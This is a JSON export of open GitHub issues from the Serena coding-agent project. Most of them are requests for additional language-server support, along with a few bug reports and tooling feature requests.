      "issue_dependencies_summary": {
        "blocked_by": 0,
        "total_blocked_by": 0,
        "blocking": 0,
        "total_blocking": 0
      },
      "body": "**Is your feature request related to a problem? Please describe.**\nI have a monolith which has a lot of memories that we have build. It is hard to keep track or group them, except by  a file naming conventions.\n\n**Describe the solution you'd like**\nCall me old school, but can we have different folders in the memory folder, which will allow for grouping?\n\n**Describe alternatives you've considered**\nAs mentioned, I'm going to enforce a file naming convention to create a virtual grouping.\n\n**Additional context**\nAdd any other context or screenshots about the feature request here.\n",
      "closed_by": null,
      "reactions": {
        "url": "https://api.github.com/repos/oraios/serena/issues/737/reactions",
        "total_count": 0,
        "+1": 0,
        "-1": 0,
        "laugh": 0,
        "hooray": 0,
        "confused": 0,
        "heart": 0,
        "rocket": 0,
        "eyes": 0
      },
      "performed_via_github_app": null,
      "state_reason": null,
      "pinned_comment": null,
      "linked_prs": []
    },
    {
      "url": "https://api.github.com/repos/oraios/serena/issues/710",
      "id": 3565914878,
      "node_id": "I_kwDOONgOes7Ui4r-",
      "number": 710,
      "title": "Support for Devsense as alternative to Intelephense for PHP",
      "user": {
        "login": "MischaPanch",
        "id": 35432522,
        "node_id": "MDQ6VXNlcjM1NDMyNTIy",
        "avatar_url": "https://avatars.githubusercontent.com/u/35432522?v=4",
        "gravatar_id": "",
        "url": "https://api.github.com/users/MischaPanch",
        "type": "User",
        "user_view_type": "public",
        "site_admin": false
      },
      "labels": {
        "0": {
          "id": 8341035889,
          "node_id": "LA_kwDOONgOes8AAAAB8SobcQ",
          "url": "https://api.github.com/repos/oraios/serena/labels/enhancement",
          "name": "enhancement",
          "color": "a2eeef",
          "default": true,
          "description": "New feature or request"
        },
        "1": {
          "id": 8341035891,
          "node_id": "LA_kwDOONgOes8AAAAB8Sobcw",
          "url": "https://api.github.com/repos/oraios/serena/labels/good%20first%20issue",
          "name": "good first issue",
          "color": "7057ff",
          "default": true,
          "description": "Good for newcomers"
        }
      },
      "state": "open",
      "locked": false,
      "assignee": null,
      "assignees": {},
      "milestone": null,
      "comments": 4,
      "created_at": "2025-10-29T13:11:22Z",
      "updated_at": "2026-02-12T17:03:39Z",
      "closed_at": null,
      "author_association": "CONTRIBUTOR",
      "type": null,
      "active_lock_reason": null,
      "sub_issues_summary": {
        "total": 0,
        "completed": 0,
        "percent_completed": 0
      },
      "issue_dependencies_summary": {
        "blocked_by": 0,
        "total_blocked_by": 0,
        "blocking": 0,
        "total_blocking": 0
      },
      "body": "Similar to how we support multiple LS for python, typescript and ruby already",
      "closed_by": {
        "login": "opcode81",
        "id": 1295099,
        "node_id": "MDQ6VXNlcjEyOTUwOTk=",
        "avatar_url": "https://avatars.githubusercontent.com/u/1295099?v=4",
        "gravatar_id": "",
        "url": "https://api.github.com/users/opcode81",
        "type": "User",
        "user_view_type": "public",
        "site_admin": false
      },
      "reactions": {
        "url": "https://api.github.com/repos/oraios/serena/issues/710/reactions",
        "total_count": 0,
        "+1": 0,
        "-1": 0,
        "laugh": 0,
        "hooray": 0,
        "confused": 0,
        "heart": 0,
        "rocket": 0,
        "eyes": 0
      },
      "performed_via_github_app": null,
      "state_reason": "reopened",
      "pinned_comment": null,
      "linked_prs": []
    },
    {
      "url": "https://api.github.com/repos/oraios/serena/issues/700",
      "id": 3554508933,
      "node_id": "I_kwDOONgOes7T3YCF",
      "number": 700,
      "title": "Install Haskell Language Server (HLS) on the fly",
      "user": {
        "login": "MischaPanch",
        "id": 35432522,
        "node_id": "MDQ6VXNlcjM1NDMyNTIy",
        "avatar_url": "https://avatars.githubusercontent.com/u/35432522?v=4",
        "gravatar_id": "",
        "url": "https://api.github.com/users/MischaPanch",
        "type": "User",
        "user_view_type": "public",
        "site_admin": false
      },
      "labels": {
        "0": {
          "id": 8341035889,
          "node_id": "LA_kwDOONgOes8AAAAB8SobcQ",
          "url": "https://api.github.com/repos/oraios/serena/labels/enhancement",
          "name": "enhancement",
          "color": "a2eeef",
          "default": true,
          "description": "New feature or request"
        }
      },
      "state": "open",
      "locked": false,
      "assignee": null,
      "assignees": {},
      "milestone": null,
      "comments": 0,
      "created_at": "2025-10-26T22:27:24Z",
      "updated_at": "2025-11-20T00:18:20Z",
      "closed_at": null,
      "author_association": "CONTRIBUTOR",
      "type": null,
      "active_lock_reason": null,
      "sub_issues_summary": {
        "total": 0,
        "completed": 0,
        "percent_completed": 0
      },
      "issue_dependencies_summary": {
        "blocked_by": 0,
        "total_blocked_by": 0,
        "blocking": 0,
        "total_blocking": 0
      },
      "body": "So thinking about on the fly HLS installation...\r\n\r\n  - Current approach: PR requires HLS to be pre-installed (ghcup, stack, cabal, or system PATH). The language server gracefully\r\n  fails if HLS isn't found.\r\n  - Proposed enhancement: Automatically download/install HLS if missing.\r\n\r\n  Trade-offs to discuss:\r\n\r\n  - Pro: Better user experience - works immediately without manual setup\r\n  - Con: Adds complexity - need to handle multiple installation methods (ghcup, stack, cabal, brew)\r\n  - Con: Platform-specific logic (macOS/brew, Linux/ghcup, Windows/?)\r\n  - Con: May require elevated permissions for system-wide installation\r\n  - Con: Version management complexity (which HLS version works with which GHC?)\r\n  \r\n  I already removed the unrelated files.\r\n    - I think we should defer the on-the-fly download enhancement to a follow-up PR because:\r\n    - Current PR already provides full HLS functionality for users who have it installed\r\n    - The enhancement is non-trivial and needs careful design (installation method, version compatibility, error handling). I will need time to get it right.  And even if I do get it working I think it will be brittle.  OS upgrades, package manager changes, etc..\r\n    - Better to get core functionality merged first, then enhance installation UX\r\n    \r\n    Thoughts?\r\n\r\n_Originally posted by @ketema in https://github.com/oraios/serena/pull/697#discussion_r2464110234_\r\n            ",
      "closed_by": null,
      "reactions": {
        "url": "https://api.github.com/repos/oraios/serena/issues/700/reactions",
        "total_count": 0,
        "+1": 0,
        "-1": 0,
        "laugh": 0,
        "hooray": 0,
        "confused": 0,
        "heart": 0,
        "rocket": 0,
        "eyes": 0
      },
      "performed_via_github_app": null,
      "state_reason": null,
      "pinned_comment": null,
      "linked_prs": []
    },
    {
      "url": "https://api.github.com/repos/oraios/serena/issues/690",
      "id": 3536934912,
      "node_id": "I_kwDOONgOes7S0VgA",
      "number": 690,
      "title": "Add emmylua as second option for Lua LS",
      "user": {
        "login": "xuhuanzy",
        "id": 90585805,
        "node_id": "MDQ6VXNlcjkwNTg1ODA1",
        "avatar_url": "https://avatars.githubusercontent.com/u/90585805?v=4",
        "gravatar_id": "",
        "url": "https://api.github.com/users/xuhuanzy",
        "type": "User",
        "user_view_type": "public",
        "site_admin": false
      },
      "labels": {
        "0": {
          "id": 8341035889,
          "node_id": "LA_kwDOONgOes8AAAAB8SobcQ",
          "url": "https://api.github.com/repos/oraios/serena/labels/enhancement",
          "name": "enhancement",
          "color": "a2eeef",
          "default": true,
          "description": "New feature or request"
        },
        "1": {
          "id": 8341035891,
          "node_id": "LA_kwDOONgOes8AAAAB8Sobcw",
          "url": "https://api.github.com/repos/oraios/serena/labels/good%20first%20issue",
          "name": "good first issue",
          "color": "7057ff",
          "default": true,
          "description": "Good for newcomers"
        }
      },
      "state": "open",
      "locked": false,
      "assignee": null,
      "assignees": {},
      "milestone": null,
      "comments": 8,
      "created_at": "2025-10-21T14:53:57Z",
      "updated_at": "2025-11-18T17:23:51Z",
      "closed_at": null,
      "author_association": "NONE",
      "type": null,
      "active_lock_reason": null,
      "sub_issues_summary": {
        "total": 0,
        "completed": 0,
        "percent_completed": 0
      },
      "issue_dependencies_summary": {
        "blocked_by": 0,
        "total_blocked_by": 0,
        "blocking": 0,
        "total_blocking": 0
      },
      "body": "**Is your feature request related to a problem? Please describe.**\n\nProvide an LSP switching configuration for `lua`, but I'm not sure how the author views the scenario of having multiple LSPs for one language.\n\nFor `lua`, the most widely used LSP currently is `luals`, which is also the default LSP downloaded and activated. `luals` is derived from `emmylua`. \nHowever, we have completely rewritten `emmylua` using `rust`, offering more features (some of which cannot be achieved with luals), and it is the most widely used LSP in IntelliJ IDEA (thanks to the user base of the original emmylua project).\n\n**Describe the solution you'd like**\nA clear and concise description of what you want to happen.\n\nThe author proposes a specification to handle situations where multiple LSPs exist for the same language.\n\n",
      "closed_by": null,
      "reactions": {
        "url": "https://api.github.com/repos/oraios/serena/issues/690/reactions",
        "total_count": 0,
        "+1": 0,
        "-1": 0,
        "laugh": 0,
        "hooray": 0,
        "confused": 0,
        "heart": 0,
        "rocket": 0,
        "eyes": 0
      },
      "performed_via_github_app": null,
      "state_reason": null,
      "pinned_comment": null,
      "linked_prs": []
    },
    {
      "url": "https://api.github.com/repos/oraios/serena/issues/664",
      "id": 3503359542,
      "node_id": "I_kwDOONgOes7Q0QY2",
      "number": 664,
      "title": "Add CLI command to download language server dependencies",
      "user": {
        "login": "samodadela",
        "id": 16334222,
        "node_id": "MDQ6VXNlcjE2MzM0MjIy",
        "avatar_url": "https://avatars.githubusercontent.com/u/16334222?v=4",
        "gravatar_id": "",
        "url": "https://api.github.com/users/samodadela",
        "type": "User",
        "user_view_type": "public",
        "site_admin": false
      },
      "labels": {
        "0": {
          "id": 8341035889,
          "node_id": "LA_kwDOONgOes8AAAAB8SobcQ",
          "url": "https://api.github.com/repos/oraios/serena/labels/enhancement",
          "name": "enhancement",
          "color": "a2eeef",
          "default": true,
          "description": "New feature or request"
        },
        "1": {
          "id": 8341035891,
          "node_id": "LA_kwDOONgOes8AAAAB8Sobcw",
          "url": "https://api.github.com/repos/oraios/serena/labels/good%20first%20issue",
          "name": "good first issue",
          "color": "7057ff",
          "default": true,
          "description": "Good for newcomers"
        }
      },
      "state": "open",
      "locked": false,
      "assignee": {
        "login": "giovanimds",
        "id": 5213916,
        "node_id": "MDQ6VXNlcjUyMTM5MTY=",
        "avatar_url": "https://avatars.githubusercontent.com/u/5213916?v=4",
        "gravatar_id": "",
        "url": "https://api.github.com/users/giovanimds",
        "type": "User",
        "user_view_type": "public",
        "site_admin": false
      },
      "assignees": {
        "0": {
          "login": "giovanimds",
          "id": 5213916,
          "node_id": "MDQ6VXNlcjUyMTM5MTY=",
          "avatar_url": "https://avatars.githubusercontent.com/u/5213916?v=4",
          "gravatar_id": "",
          "url": "https://api.github.com/users/giovanimds",
          "type": "User",
          "user_view_type": "public",
          "site_admin": false
        }
      },
      "milestone": null,
      "comments": 7,
      "created_at": "2025-10-10T15:13:39Z",
      "updated_at": "2025-10-29T09:01:21Z",
      "closed_at": null,
      "author_association": "NONE",
      "type": null,
      "active_lock_reason": null,
      "sub_issues_summary": {
        "total": 0,
        "completed": 0,
        "percent_completed": 0
      },
      "issue_dependencies_summary": {
        "blocked_by": 0,
        "total_blocked_by": 0,
        "blocking": 0,
        "total_blocking": 0
      },
      "body": "**Is your feature request related to a problem? Please describe.**\nI'm trying to run serena in a container which has only limited access to the net. Only a few hosts are allowed. When serena initializes the project it starts accessing hosts like: services.gradle.org, visualstudioexptteam.gallery.vsassets.io, github.com, plugins.gradle.org, etc.. \n\n**Describe the solution you'd like**\nProvide a 'build' command that pre-fetches all of serena's dependencies. I don't care for disk space.\n\n**Describe alternatives you've considered**\nOpening each and every one of the hosts it tries to access. I don't know which those are and it might also break in a later version if new dependencies are added. It seems that depending on the project language different tools are downloaded.\n\nAnother alternative would be to create a few language specific fake project just for the sake of downloading the dependecies. I can do this at container build time, when there is network access.\n\n**Additional context**\n\n",
      "closed_by": null,
      "reactions": {
        "url": "https://api.github.com/repos/oraios/serena/issues/664/reactions",
        "total_count": 0,
        "+1": 0,
        "-1": 0,
        "laugh": 0,
        "hooray": 0,
        "confused": 0,
        "heart": 0,
        "rocket": 0,
        "eyes": 0
      },
      "performed_via_github_app": null,
      "state_reason": null,
      "pinned_comment": null,
      "linked_prs": [
        711
      ]
    },
    {
      "url": "https://api.github.com/repos/oraios/serena/issues/645",
      "id": 3467285136,
      "node_id": "I_kwDOONgOes7OqpKQ",
      "number": 645,
      "title": "Support for Nim language",
      "user": {
        "login": "teddy258",
        "id": 29562668,
        "node_id": "MDQ6VXNlcjI5NTYyNjY4",
        "avatar_url": "https://avatars.githubusercontent.com/u/29562668?v=4",
        "gravatar_id": "",
        "url": "https://api.github.com/users/teddy258",
        "type": "User",
        "user_view_type": "public",
        "site_admin": false
      },
      "labels": {
        "0": {
          "id": 8341035889,
          "node_id": "LA_kwDOONgOes8AAAAB8SobcQ",
          "url": "https://api.github.com/repos/oraios/serena/labels/enhancement",
          "name": "enhancement",
          "color": "a2eeef",
          "default": true,
          "description": "New feature or request"
        },
        "1": {
          "id": 8341035891,
          "node_id": "LA_kwDOONgOes8AAAAB8Sobcw",
          "url": "https://api.github.com/repos/oraios/serena/labels/good%20first%20issue",
          "name": "good first issue",
          "color": "7057ff",
          "default": true,
          "description": "Good for newcomers"
        }
      },
      "state": "open",
      "locked": false,
      "assignee": null,
      "assignees": {},
      "milestone": null,
      "comments": 1,
      "created_at": "2025-09-30T02:29:55Z",
      "updated_at": "2025-09-30T19:20:56Z",
      "closed_at": null,
      "author_association": "NONE",
      "type": null,
      "active_lock_reason": null,
      "sub_issues_summary": {
        "total": 0,
        "completed": 0,
        "percent_completed": 0
      },
      "issue_dependencies_summary": {
        "blocked_by": 0,
        "total_blocked_by": 0,
        "blocking": 0,
        "total_blocking": 0
      },
      "body": "https://github.com/nim-lang/langserver\n\nThe language server appears to be ready, It would be nice if it could be added.\n",
      "closed_by": null,
      "reactions": {
        "url": "https://api.github.com/repos/oraios/serena/issues/645/reactions",
        "total_count": 0,
        "+1": 0,
        "-1": 0,
        "laugh": 0,
        "hooray": 0,
        "confused": 0,
        "heart": 0,
        "rocket": 0,
        "eyes": 0
      },
      "performed_via_github_app": null,
      "state_reason": null,
      "pinned_comment": null,
      "linked_prs": []
    },
    {
      "url": "https://api.github.com/repos/oraios/serena/issues/631",
      "id": 3427802820,
      "node_id": "I_kwDOONgOes7MUB7E",
      "number": 631,
      "title": "Add to Toolhive registry",
      "user": {
        "login": "keeganwitt",
        "id": 64612,
        "node_id": "MDQ6VXNlcjY0NjEy",
        "avatar_url": "https://avatars.githubusercontent.com/u/64612?v=4",
        "gravatar_id": "",
        "url": "https://api.github.com/users/keeganwitt",
        "type": "User",
        "user_view_type": "public",
        "site_admin": false
      },
      "labels": {},
      "state": "open",
      "locked": false,
      "assignee": null,
      "assignees": {},
      "milestone": null,
      "comments": 2,
      "created_at": "2025-09-17T21:07:07Z",
      "updated_at": "2025-09-17T21:27:03Z",
      "closed_at": null,
      "author_association": "NONE",
      "type": null,
      "active_lock_reason": null,
      "sub_issues_summary": {
        "total": 0,
        "completed": 0,
        "percent_completed": 0
      },
      "issue_dependencies_summary": {
        "blocked_by": 0,
        "total_blocked_by": 0,
        "blocking": 0,
        "total_blocking": 0
      },
      "body": "Serena would be more accessible if it's published in [Toolhive](https://toolhive.dev/)'s registry. [This](https://docs.stacklok.com/toolhive/faq#how-do-i-get-my-mcp-server-added-to-the-toolhive-registry) is the process for doing this.\n\nWhile not a requirement, it would probably be easiest to do using the Docker image we already have (`ghcr.io/oraios/serena:latest`).\n\nSee also\n* https://docs.stacklok.com/toolhive/guides-ui/run-mcp-servers#install-a-custom-mcp-server\n* https://docs.stacklok.com/toolhive/guides-cli/run-mcp-servers#run-a-custom-mcp-server\n* https://docs.stacklok.com/toolhive/guides-cli/build-containers#comparison-with-thv-run",
      "closed_by": null,
      "reactions": {
        "url": "https://api.github.com/repos/oraios/serena/issues/631/reactions",
        "total_count": 3,
        "+1": 3,
        "-1": 0,
        "laugh": 0,
        "hooray": 0,
        "confused": 0,
        "heart": 0,
        "rocket": 0,
        "eyes": 0
      },
      "performed_via_github_app": null,
      "state_reason": null,
      "pinned_comment": null,
      "linked_prs": []
    },
    {
      "url": "https://api.github.com/repos/oraios/serena/issues/610",
      "id": 3393990195,
      "node_id": "I_kwDOONgOes7KTC4z",
      "number": 610,
      "title": "[Microsoft.CodeAnalysis.LanguageServer.HostWorkspace.Razor.RazorDynamicFileInfoProvider] RazorDynamicFileInfoProvider not initialized",
      "user": {
        "login": "pedershk",
        "id": 667361,
        "node_id": "MDQ6VXNlcjY2NzM2MQ==",
        "avatar_url": "https://avatars.githubusercontent.com/u/667361?v=4",
        "gravatar_id": "",
        "url": "https://api.github.com/users/pedershk",
        "type": "User",
        "user_view_type": "public",
        "site_admin": false
      },
      "labels": {},
      "state": "open",
      "locked": false,
      "assignee": null,
      "assignees": {},
      "milestone": null,
      "comments": 3,
      "created_at": "2025-09-08T12:26:29Z",
      "updated_at": "2026-02-06T14:27:35Z",
      "closed_at": null,
      "author_association": "NONE",
      "type": null,
      "active_lock_reason": null,
      "sub_issues_summary": {
        "total": 0,
        "completed": 0,
        "percent_completed": 0
      },
      "issue_dependencies_summary": {
        "blocked_by": 0,
        "total_blocked_by": 0,
        "blocking": 0,
        "total_blocking": 0
      },
      "body": "I have:\n\n- [x] Read the readme and verified that the issue cannot be solved by adjusting configuration\n- [x] Understood that Serena's dashboard can be disabled through the config\n- [x] Understood that by default a client session will start a separate instance of a Serena server. \n- [x] Understood that for multi-agent setups, the SSE mode should be used.\n- [x] Verified that non-project files are ignored using either gitignore or the corresponding setting in `.serena/project.yml`\n- [x] Have looked for similar issues and discussions, including closed ones\n- [x] Made sure it's an actual issue and not a question - those should be opened as discussion instead.\n\nIf you have encountered a real and new issue:\n\n- [x] I performed `<uv invocation> serena project health-check`\n- [x] I indexed the project as described in the readme\n- [x] Added sufficient explanation of my setup: the MCP client, the OS, the programming language, any config adjustments or relevant project specifics\n- [x] Explained how the issue arose, added instructions on how to reproduce it (if possible)\n- [x] If the issue happens on an open source project, I have added the link\n- [x] Wrote a meaningful title and description\n\nThis occurs on a 40-project VS2022 solution using Visual Studio and MCP for serena configured in VS default project-specific mcp.json.\n\nI've run the initial index.\n\nHere's the message : ERROR 2025-09-08 14:22:39,539 [LSP-stdout-reader] solidlsp:window_log_message:535 - LSP: [initialized] [Microsoft.CodeAnalysis.LanguageServer.HostWorkspace.Razor.RazorDynamicFileInfoProvider] RazorDynamicFileInfoProvider not initialized. RazorWorkspaceService or RazorLspDynamicFileInfoProvider is null.\n\nThe project uses a Blazor Web Assembly client project, so has dozens of razor files. I've seen errors about code and TextDocument for these files, which I suspect is very much related - serena doesn't know how to deal with them as code.",
      "closed_by": null,
      "reactions": {
        "url": "https://api.github.com/repos/oraios/serena/issues/610/reactions",
        "total_count": 2,
        "+1": 2,
        "-1": 0,
        "laugh": 0,
        "hooray": 0,
        "confused": 0,
        "heart": 0,
        "rocket": 0,
        "eyes": 0
      },
      "performed_via_github_app": null,
      "state_reason": null,
      "pinned_comment": null,
      "linked_prs": []
    },
    {
      "url": "https://api.github.com/repos/oraios/serena/issues/594",
      "id": 3379121725,
      "node_id": "I_kwDOONgOes7JaU49",
      "number": 594,
      "title": "Odin language support?",
      "user": {
        "login": "samwega",
        "id": 60224874,
        "node_id": "MDQ6VXNlcjYwMjI0ODc0",
        "avatar_url": "https://avatars.githubusercontent.com/u/60224874?v=4",
        "gravatar_id": "",
        "url": "https://api.github.com/users/samwega",
        "type": "User",
        "user_view_type": "public",
        "site_admin": false
      },
      "labels": {
        "0": {
          "id": 8341035889,
          "node_id": "LA_kwDOONgOes8AAAAB8SobcQ",
          "url": "https://api.github.com/repos/oraios/serena/labels/enhancement",
          "name": "enhancement",
          "color": "a2eeef",
          "default": true,
          "description": "New feature or request"
        },
        "1": {
          "id": 8341035891,
          "node_id": "LA_kwDOONgOes8AAAAB8Sobcw",
          "url": "https://api.github.com/repos/oraios/serena/labels/good%20first%20issue",
          "name": "good first issue",
          "color": "7057ff",
          "default": true,
          "description": "Good for newcomers"
        }
      },
      "state": "open",
      "locked": false,
      "assignee": null,
      "assignees": {},
      "milestone": null,
      "comments": 2,
      "created_at": "2025-09-03T09:40:19Z",
      "updated_at": "2025-09-03T22:20:40Z",
      "closed_at": null,
      "author_association": "NONE",
      "type": null,
      "active_lock_reason": null,
      "sub_issues_summary": {
        "total": 0,
        "completed": 0,
        "percent_completed": 0
      },
      "issue_dependencies_summary": {
        "blocked_by": 0,
        "total_blocked_by": 0,
        "blocking": 0,
        "total_blocking": 0
      },
      "body": "Odin has an lsp called ols. Any chance we can get support for it?\n\nP.S. Is there a way I can somehow link the ols to serena myself? I am not sure how that works.\n\nThank you!",
      "closed_by": null,
      "reactions": {
        "url": "https://api.github.com/repos/oraios/serena/issues/594/reactions",
        "total_count": 0,
        "+1": 0,
        "-1": 0,
        "laugh": 0,
        "hooray": 0,
        "confused": 0,
        "heart": 0,
        "rocket": 0,
        "eyes": 0
      },
      "performed_via_github_app": null,
      "state_reason": null,
      "pinned_comment": null,
      "linked_prs": []
    },
    {
      "url": "https://api.github.com/repos/oraios/serena/issues/592",
      "id": 3377300393,
      "node_id": "I_kwDOONgOes7JTYOp",
      "number": 592,
      "title": "Support for Solidity programming language",
      "user": {
        "login": "PaulRBerg",
        "id": 8782666,
        "node_id": "MDQ6VXNlcjg3ODI2NjY=",
        "avatar_url": "https://avatars.githubusercontent.com/u/8782666?v=4",
        "gravatar_id": "",
        "url": "https://api.github.com/users/PaulRBerg",
        "type": "User",
        "user_view_type": "public",
        "site_admin": false
      },
      "labels": {
        "0": {
          "id": 8341035889,
          "node_id": "LA_kwDOONgOes8AAAAB8SobcQ",
          "url": "https://api.github.com/repos/oraios/serena/labels/enhancement",
          "name": "enhancement",
          "color": "a2eeef",
          "default": true,
          "description": "New feature or request"
        },
        "1": {
          "id": 8341035891,
          "node_id": "LA_kwDOONgOes8AAAAB8Sobcw",
          "url": "https://api.github.com/repos/oraios/serena/labels/good%20first%20issue",
          "name": "good first issue",
          "color": "7057ff",
          "default": true,
          "description": "Good for newcomers"
        }
      },
      "state": "open",
      "locked": false,
      "assignee": null,
      "assignees": {},
      "milestone": null,
      "comments": 2,
      "created_at": "2025-09-02T19:50:19Z",
      "updated_at": "2025-09-02T20:28:41Z",
      "closed_at": null,
      "author_association": "NONE",
      "type": null,
      "active_lock_reason": null,
      "sub_issues_summary": {
        "total": 0,
        "completed": 0,
        "percent_completed": 0
      },
      "issue_dependencies_summary": {
        "blocked_by": 0,
        "total_blocked_by": 0,
        "blocking": 0,
        "total_blocking": 0
      },
      "body": "Solidity is a statically-typed curly-braces programming language designed for developing smart contracts that run on the [Ethereum](https://ethereum.org) blockchain.\n\nSolidity is the most popular language for Ethereum, and it has around ~24k monthly active developers and 200k total.",
      "closed_by": null,
      "reactions": {
        "url": "https://api.github.com/repos/oraios/serena/issues/592/reactions",
        "total_count": 0,
        "+1": 0,
        "-1": 0,
        "laugh": 0,
        "hooray": 0,
        "confused": 0,
        "heart": 0,
        "rocket": 0,
        "eyes": 0
      },
      "performed_via_github_app": null,
      "state_reason": null,
      "pinned_comment": null,
      "linked_prs": []
    },
    {
      "url": "https://api.github.com/repos/oraios/serena/issues/591",
      "id": 3376021017,
      "node_id": "I_kwDOONgOes7JOf4Z",
      "number": 591,
      "title": "Use the official Elixir Expert language server instead of the deprecated NextLS",
      "user": {
        "login": "humberaquino",
        "id": 703673,
        "node_id": "MDQ6VXNlcjcwMzY3Mw==",
        "avatar_url": "https://avatars.githubusercontent.com/u/703673?v=4",
        "gravatar_id": "",
        "url": "https://api.github.com/users/humberaquino",
        "type": "User",
        "user_view_type": "public",
        "site_admin": false
      },
      "labels": {
        "0": {
          "id": 8341035889,
          "node_id": "LA_kwDOONgOes8AAAAB8SobcQ",
          "url": "https://api.github.com/repos/oraios/serena/labels/enhancement",
          "name": "enhancement",
          "color": "a2eeef",
          "default": true,
          "description": "New feature or request"
        }
      },
      "state": "open",
      "locked": false,
      "assignee": null,
      "assignees": {},
      "milestone": null,
      "comments": 8,
      "created_at": "2025-09-02T13:19:11Z",
      "updated_at": "2025-11-13T13:47:01Z",
      "closed_at": null,
      "author_association": "NONE",
      "type": null,
      "active_lock_reason": null,
      "sub_issues_summary": {
        "total": 0,
        "completed": 0,
        "percent_completed": 0
      },
      "issue_dependencies_summary": {
        "blocked_by": 0,
        "total_blocked_by": 0,
        "blocking": 0,
        "total_blocking": 0
      },
      "body": "The [NextLS repo](https://github.com/elixir-tools/next-ls) is now deprecated and marked as archived since Aug 29th 2025 because the focus has shifted to working on the official language server for Elixir: [Expert](https://github.com/elixir-lang/expert).\n\n",
      "closed_by": {
        "login": "MischaPanch",
        "id": 35432522,
        "node_id": "MDQ6VXNlcjM1NDMyNTIy",
        "avatar_url": "https://avatars.githubusercontent.com/u/35432522?v=4",
        "gravatar_id": "",
        "url": "https://api.github.com/users/MischaPanch",
        "type": "User",
        "user_view_type": "public",
        "site_admin": false
      },
      "reactions": {
        "url": "https://api.github.com/repos/oraios/serena/issues/591/reactions",
        "total_count": 4,
        "+1": 0,
        "-1": 0,
        "laugh": 0,
        "hooray": 0,
        "confused": 0,
        "heart": 4,
        "rocket": 0,
        "eyes": 0
      },
      "performed_via_github_app": null,
      "state_reason": "reopened",
      "pinned_comment": null,
      "linked_prs": []
    },
    {
      "url": "https://api.github.com/repos/oraios/serena/issues/586",
      "id": 3373879882,
      "node_id": "I_kwDOONgOes7JGVJK",
      "number": 586,
      "title": "flake.nix issues",
      "user": {
        "login": "DaKingof",
        "id": 31186364,
        "node_id": "MDQ6VXNlcjMxMTg2MzY0",
        "avatar_url": "https://avatars.githubusercontent.com/u/31186364?v=4",
        "gravatar_id": "",
        "url": "https://api.github.com/users/DaKingof",
        "type": "User",
        "user_view_type": "public",
        "site_admin": false
      },
      "labels": {},
      "state": "open",
      "locked": false,
      "assignee": null,
      "assignees": {},
      "milestone": null,
      "comments": 13,
      "created_at": "2025-09-01T22:37:08Z",
      "updated_at": "2026-02-13T14:26:07Z",
      "closed_at": null,
      "author_association": "NONE",
      "type": null,
      "active_lock_reason": null,
      "sub_issues_summary": {
        "total": 0,
        "completed": 0,
        "percent_completed": 0
      },
      "issue_dependencies_summary": {
        "blocked_by": 0,
        "total_blocked_by": 0,
        "blocking": 0,
        "total_blocking": 0
      },
      "body": "This should work out of the box with Nix, but when I attempt to run Serena in Claude Code, I get linking errors from gcc. It also says it cannot find binutils, but I am not sure if that is a cascading error or not.\n\nHere are the relevant parts of the logs: https://textbin.net/jlrpdfsero\n\nI've tried adding linker variables to my MCP import, but still can't seem to get rid of these errors.",
      "closed_by": null,
      "reactions": {
        "url": "https://api.github.com/repos/oraios/serena/issues/586/reactions",
        "total_count": 0,
        "+1": 0,
        "-1": 0,
        "laugh": 0,
        "hooray": 0,
        "confused": 0,
        "heart": 0,
        "rocket": 0,
        "eyes": 0
      },
      "performed_via_github_app": null,
      "state_reason": null,
      "pinned_comment": null,
      "linked_prs": []
    },
    {
      "url": "https://api.github.com/repos/oraios/serena/issues/530",
      "id": 3349821817,
      "node_id": "I_kwDOONgOes7Hqjl5",
      "number": 530,
      "title": "Debug Adapter Protocol (DAP) Support?",
      "user": {
        "login": "Govinda-Fichtner",
        "id": 598566,
        "node_id": "MDQ6VXNlcjU5ODU2Ng==",
        "avatar_url": "https://avatars.githubusercontent.com/u/598566?v=4",
        "gravatar_id": "",
        "url": "https://api.github.com/users/Govinda-Fichtner",
        "type": "User",
        "user_view_type": "public",
        "site_admin": false
      },
      "labels": {
        "0": {
          "id": 8341035889,
          "node_id": "LA_kwDOONgOes8AAAAB8SobcQ",
          "url": "https://api.github.com/repos/oraios/serena/labels/enhancement",
          "name": "enhancement",
          "color": "a2eeef",
          "default": true,
          "description": "New feature or request"
        },
        "1": {
          "id": 9164352110,
          "node_id": "LA_kwDOONgOes8AAAACIjzqbg",
          "url": "https://api.github.com/repos/oraios/serena/labels/needs%20sponsoring",
          "name": "needs sponsoring",
          "color": "8a4c2a",
          "default": false,
          "description": "A major feature that would require sponsoring to get worked on"
        }
      },
      "state": "open",
      "locked": false,
      "assignee": null,
      "assignees": {},
      "milestone": null,
      "comments": 1,
      "created_at": "2025-08-24T19:16:35Z",
      "updated_at": "2025-08-25T10:11:59Z",
      "closed_at": null,
      "author_association": "NONE",
      "type": null,
      "active_lock_reason": null,
      "sub_issues_summary": {
        "total": 0,
        "completed": 0,
        "percent_completed": 0
      },
      "issue_dependencies_summary": {
        "blocked_by": 0,
        "total_blocked_by": 0,
        "blocking": 0,
        "total_blocking": 0
      },
      "body": "Has anyone thought about adding support for the Debug Adapter Protocol (DAP) in Serena?\nIt somewhat seems complementary to the LSP related features that are already part of Serena.\nI have a hunch this might be able to provide more holistic context for coding session with LLMs. \nAny thoughts? Ideas?",
      "closed_by": null,
      "reactions": {
        "url": "https://api.github.com/repos/oraios/serena/issues/530/reactions",
        "total_count": 0,
        "+1": 0,
        "-1": 0,
        "laugh": 0,
        "hooray": 0,
        "confused": 0,
        "heart": 0,
        "rocket": 0,
        "eyes": 0
      },
      "performed_via_github_app": null,
      "state_reason": null,
      "pinned_comment": null,
      "linked_prs": []
    },
    {
      "url": "https://api.github.com/repos/oraios/serena/issues/527",
      "id": 3348867907,
      "node_id": "I_kwDOONgOes7Hm6tD",
      "number": 527,
      "title": "Don't use max_memory_length in write_memory",
      "user": {
        "login": "MischaPanch",
        "id": 35432522,
        "node_id": "MDQ6VXNlcjM1NDMyNTIy",
        "avatar_url": "https://avatars.githubusercontent.com/u/35432522?v=4",
        "gravatar_id": "",
        "url": "https://api.github.com/users/MischaPanch",
        "type": "User",
        "user_view_type": "public",
        "site_admin": false
      },
      "labels": {},
      "state": "open",
      "locked": false,
      "assignee": null,
      "assignees": {},
      "milestone": null,
      "comments": 1,
      "created_at": "2025-08-23T22:13:13Z",
      "updated_at": "2026-02-13T14:33:34Z",
      "closed_at": null,
      "author_association": "CONTRIBUTOR",
      "type": null,
      "active_lock_reason": null,
      "sub_issues_summary": {
        "total": 0,
        "completed": 0,
        "percent_completed": 0
      },
      "issue_dependencies_summary": {
        "blocked_by": 0,
        "total_blocked_by": 0,
